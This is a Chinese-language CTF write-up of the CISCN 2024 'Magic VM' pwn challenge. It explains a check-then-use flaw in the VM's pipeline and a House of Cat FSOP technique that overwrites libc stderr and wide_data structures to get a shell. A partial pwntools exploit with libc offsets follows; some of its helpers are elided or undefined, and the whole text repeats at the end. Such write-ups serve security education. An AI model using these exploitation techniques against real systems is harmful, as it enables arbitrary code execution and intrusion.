CISCN 2024 Pwn VM writeup
字数 1357 2025-08-20 18:18:17

Magic VM 漏洞分析与利用教学文档

1. 题目概述

Magic VM 是 CISCN 2024 中的一个 Pwn 题目,实现了一个简易的流水线虚拟机。该虚拟机包含三个主要处理阶段:ID(译码)、ALU(计算)和 MEM(存储),通过流水线方式执行指令。

2. 虚拟机结构

2.1 主要数据结构

struct __attribute__((aligned(8))) vm {
    char *reg0[4];              // 4个寄存器
    __int64 now_stack_ptr;       // 当前栈指针
    unsigned __int64 pc;         // 程序计数器
    char *code_base;             // 代码段基址
    __int64 data_base;           // 数据段基址
    __int64 stack_base;          // 栈基址
    __int64 code_size;           // 代码段大小(0x2000)
    __int64 data_size;           // 数据段大小(0x3000)
    __int64 stack_size_;         // 栈大小(0x1000)
    vm_id *id;                   // ID阶段处理器
    vm_alu *alu;                 // ALU阶段处理器
    vm_mem *mem;                 // MEM阶段处理器
};

struct __attribute__((aligned(8))) vm_alu {
    char *is_valid;
    __int64 each_opcode_OPTYPE;  // 操作码
    __int64 ops_total_type;      // 操作数类型
    __int64 op1_addr_or_reg;     // 操作数1
    __int64 op2_addr_or_reg;     // 操作数2
    int result_type;             // 结果类型
    int mem_num;                 // 内存操作数
    __int64 dst_op_value;        // 目标操作数值
    __int64 alu_result;          // ALU计算结果
    __int64 now_stack_ptr;
    __int64 stack_ptr;
};

struct __attribute__((aligned(8))) vm_mem {
    int mem_valid_result_type;
    int mem_idx;
    __int64 dst_op_value;        // 目标地址
    __int64 src_alu_result;      // 源ALU结果
    __int64 now_stack_ptr;
    __int64 next_vm;
};

struct __attribute__((aligned(8))) vm_id {
    char *is_valid;
    __int64 each_opcode;         // 操作码
    __int64 ops1_total_type;     // 操作数1类型
    __int64 op1_addr_or_reg;     // 操作数1
    __int64 op2_addr_or_reg;     // 操作数2
};

2.2 内存布局

虚拟机使用mmap分配内存空间:

  • 代码段:0x2000字节
  • 数据段:0x3000字节
  • 栈段:0x1000字节

布局如下:

+- 0x2000 code
   0x3000 data
   0x1000 stack

3. 指令系统

3.1 操作码

opcode = {
    "ADD": 1,
    "SUB": 2,
    "SHL": 3,
    "SHR": 4,
    "MOV": 5,
    "AND": 6,
    "OR": 7,
    "XOR": 8,
    "PUSH": 9,
    "POP": 10,
    "NOP": 11,
}

3.2 指令格式

指令格式为:[opcode][optype][value1][value2]

其中optype定义操作数类型:

  • 第1-2bit:第一个操作数类型
  • 第3-4bit:第二个操作数类型

操作数类型:

  1. NUM(1):8字节数据
  2. REG(2):1字节寄存器索引(0-3)
  3. ADDR(3):寄存器值作为地址

4. 流水线执行流程

虚拟机采用三级流水线执行指令:

Loop 1: ID 1
Loop 2: ID 2 | ALU 1
Loop 3: ID 3 | ALU 2 | MEM 1
...

关键点:

  • 指令在循环1被ID解析
  • 在循环2被ALU执行
  • 在循环3被MEM存储

5. 漏洞分析

5.1 检查与使用分离漏洞

主要漏洞在于检查和使用不在同一个上下文中

  1. 地址/寄存器检查在ID阶段进行
  2. 实际使用在ALU/MEM阶段(后续循环)进行
  3. 中间可能被其他指令修改寄存器值

示例攻击序列:

0: add r1, 0xffff  // 设置r1为越界地址
1: mov r1, 0       // 修改r1为合法值
2: add r2, [r1]    // 实际使用r1的旧值(0xffff)访问内存
3: nop
4: nop

执行流程:

  1. 循环1:ID解析指令2时,r1=0(合法)
  2. 循环2:ALU执行指令1,修改r1=0
  3. 循环3:MEM执行指令0,修改r1=0xffff
  4. 循环4:ALU执行指令2,使用r1=0xffff(越界访问)

5.2 漏洞利用能力

通过该漏洞可以实现:

  1. 任意地址加减运算
  2. 间接实现任意地址读写

6. 漏洞利用

6.1 利用思路

利用House of Cat攻击策略,通过FSOP攻击_IO_wfile_JUMP表,利用seekoff函数劫持控制流。

6.2 攻击条件

需要满足以下条件:

  1. FILE->_IO_write_base < FILE->_IO_write_ptr
  2. wide_data->_IO_write_base < wide_data->_IO_write_ptr
  3. wide_data->_IO_read_end != wide_data->_IO_read_ptr
  4. FILE->_lock可写
  5. file->_mode > 0
  6. _wide_data->_IO_write_base != 0

需要修改的关键点:

  1. FILE->flag="/bin/sh"
  2. wide_data->jump(0xe0 offset)->0x18 = system

6.3 EXP代码分析

from pwn import *

# 定义操作码和辅助函数
opcode = {...}
def generate_type(t): ...
def push_value(): ...
def add_value(value): ...
def sub_value_reg(value): ...
def sub_value(value): ...
def xor_value_reg(value): ...
def pop_value(): ...
def set_value_reg(value, reg): ...
def nop(): ...

# 偏移量定义
OFFSET_TO_LIBC = 0x9000
LIBC_STDERR = 0x21b6a0
STDERR_VTABLE = LIBC_STDERR + 0xd8
WIDE_DATA = 0x21a8a0
WFILE_JUMP = 0x2170c0
_IO_WOVERFLOW_OFFSET = 0x18
SYSTEM = 0x50D70
_IO_WFILE_OVERFLOW = 0x086390
SYSTEM_OFF = _IO_WFILE_OVERFLOW - SYSTEM

# 生成读取指令
def generate_read(offset, value):
    shellcode = b''
    shellcode += add_value(offset)
    shellcode += set_value_reg(0, RET_REG)
    shellcode += sub_value(value)
    shellcode += nop()
    shellcode += nop()
    return shellcode

# 构建攻击payload
shellcode1 = generate_read(off(STDERR_VTABLE), 0x510) + \
             generate_read(off(LIBC_STDERR+0x28), 0xffffffffffffff00) + \
             generate_read(off(LIBC_STDERR+0xc0), 0xffffffffffffffff) + \
             generate_read(off(WIDE_DATA), 0xfffffffffffffaf0) + \
             generate_read(off(WIDE_DATA+0x18), 0xfffffffffffffaf0) + \
             generate_read(off(WIDE_DATA+0x20), 0xfffffffffffffa00) + \
             generate_read(off(WIDE_DATA+0x20), 0xffffffffffffff00) + \
             generate_read(off(WIDE_DATA+0xe0), 0xffffffffffffba20) + \
             generate_read(off(LIBC_STDERR+0x18), 0x1ca9b3) + \
             generate_read(off(LIBC_STDERR), 0xff978cd18d43be58)

# 发送payload
ph = process("./pwn")
ph.sendline(shellcode1 + debug_shellcode)
ph.interactive()

7. 总结与学习要点

  1. 流水线设计漏洞:检查和使用分离是流水线架构中常见的安全问题
  2. 利用条件竞争:通过指令序列制造时间差实现越界访问
  3. 高级FSOP技巧:结合House of Cat和House of Emma的攻击思路
  4. IO_FILE利用:深入理解_IO_wfile_JUMPseekoff的利用方式

关键学习点:

  • 理解虚拟机的三级流水线执行机制
  • 掌握检查与使用分离漏洞的利用方法
  • 学习现代libc的FSOP攻击技巧
  • 熟悉IO_FILE结构体的关键字段和利用条件
Magic VM 漏洞分析与利用教学文档 1. 题目概述 Magic VM 是 CISCN 2024 中的一个 Pwn 题目,实现了一个简易的流水线虚拟机。该虚拟机包含三个主要处理阶段:ID(译码)、ALU(计算)和 MEM(存储),通过流水线方式执行指令。 2. 虚拟机结构 2.1 主要数据结构 2.2 内存布局 虚拟机使用mmap分配内存空间: 代码段:0x2000字节 数据段:0x3000字节 栈段:0x1000字节 布局如下: 3. 指令系统 3.1 操作码 3.2 指令格式 指令格式为: [opcode][optype][value1][value2] 其中 optype 定义操作数类型: 第1-2bit:第一个操作数类型 第3-4bit:第二个操作数类型 操作数类型: NUM(1):8字节数据 REG(2):1字节寄存器索引(0-3) ADDR(3):寄存器值作为地址 4. 流水线执行流程 虚拟机采用三级流水线执行指令: 关键点: 指令在循环1被ID解析 在循环2被ALU执行 在循环3被MEM存储 5. 漏洞分析 5.1 检查与使用分离漏洞 主要漏洞在于 检查和使用不在同一个上下文中 : 地址/寄存器检查在ID阶段进行 实际使用在ALU/MEM阶段(后续循环)进行 中间可能被其他指令修改寄存器值 示例攻击序列: 执行流程: 循环1:ID解析指令2时,r1=0(合法) 循环2:ALU执行指令1,修改r1=0 循环3:MEM执行指令0,修改r1=0xffff 循环4:ALU执行指令2,使用r1=0xffff(越界访问) 5.2 漏洞利用能力 通过该漏洞可以实现: 任意地址加减运算 间接实现任意地址读写 6. 漏洞利用 6.1 利用思路 利用House of Cat攻击策略,通过FSOP攻击 _IO_wfile_JUMP 表,利用 seekoff 函数劫持控制流。 6.2 攻击条件 需要满足以下条件: FILE->_IO_write_base < FILE->_IO_write_ptr wide_data->_IO_write_base < wide_data->_IO_write_ptr wide_data->_IO_read_end != wide_data->_IO_read_ptr FILE->_lock 可写 file->_mode > 0 _wide_data->_IO_write_base != 0 需要修改的关键点: FILE->flag="/bin/sh" wide_data->jump(0xe0 offset)->0x18 = system 6.3 EXP代码分析 7. 总结与学习要点 流水线设计漏洞 :检查和使用分离是流水线架构中常见的安全问题 利用条件竞争 :通过指令序列制造时间差实现越界访问 高级FSOP技巧 :结合House of Cat和House of Emma的攻击思路 IO_ FILE利用 :深入理解 _IO_wfile_JUMP 和 seekoff 的利用方式 关键学习点: 理解虚拟机的三级流水线执行机制 掌握检查与使用分离漏洞的利用方法 学习现代libc的FSOP攻击技巧 熟悉IO_ FILE结构体的关键字段和利用条件